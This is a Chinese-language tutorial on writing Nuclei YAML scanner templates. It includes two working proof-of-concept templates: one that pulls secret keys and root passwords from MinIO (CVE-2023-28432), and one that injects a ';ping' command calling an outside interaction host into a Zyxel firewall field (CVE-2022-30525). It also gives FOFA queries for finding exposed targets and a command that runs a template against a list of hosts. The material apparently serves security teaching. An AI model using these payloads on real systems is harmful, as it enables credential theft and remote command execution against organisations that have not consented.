0x00 nuclei

Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发，具有很强的可配置性、可扩展性和易用性。 提供TCP、DNS、HTTP、FILE 等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。

0x01 poc编写规则-yaml语法特点

大小写敏感
缩进敏感
不允许tab，只能空格

0x02 yaml的五步模板

id：编号
info：漏洞描述情况（级别，编号，标签，简介等）
http：漏洞利用核心， {{xx}}：提取目标地址的匹配信息
提取器/匹配器：提取，匹配返回包内容，匹配出需要的目标（根据目标结果特征用匹配还是提取）

编写方法流程：
1.选用套用模板
2.创建独立编号
3.填写漏洞详情
4.poc协议
5.匹配方案
6.提取方案

0x03 cve-2023-28432MiniO信息泄露

id: CVE-2023-28432

info:
  name: CVE-2023-28432 MinIO 信息泄露漏洞
  author: gaobai
  severity: high
  description: |
    CVE-2023-28432 MinIO 信息泄露漏洞，可以直接获取user和password
  reference:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/
    - fofa：banner=“MinIO” || header=“MinIO” || title=“MinIO Browser”

http:
  - raw:
      - |
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla
        Accept: */*
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close

        
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'MINIO_SECRET_KEY'
          - 'MINIO_ROOT_PASSWORD'
      - type: status
        status:
          - 200

0x04 cve-2022-30525 Zyxel 防火墙远程命令注入漏洞

id: CVE-2022-30525

info:
  name: CVE-2022-30525 Zyxel 防火墙远程命令注入漏洞
  author: gaobai
  severity: high
  description: |
    CVE-2022-30525 Zyxel 防火墙远程命令注入漏洞
  reference:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
    - fofa：title="USG FLEX 100" || "USG FLEX 100W" || "USG FLEX 200" || "USG FLEX 500" || "USG FLEX 700"

http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
  
        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{gaobai}}","data":"hi"}
    
    payloads:
      gaobai:
        - ";ping -c 3 {{interactsh-url}};"
    matchers-condition: and
    
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
      - type: status
        status:
          - 200

nuclei使用方法：

nuclei -l D:\Desktop\top500e.txt  -t D:\Desktop\CVE-2022-30525.yaml -o e.html

参考：

https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
小迪安全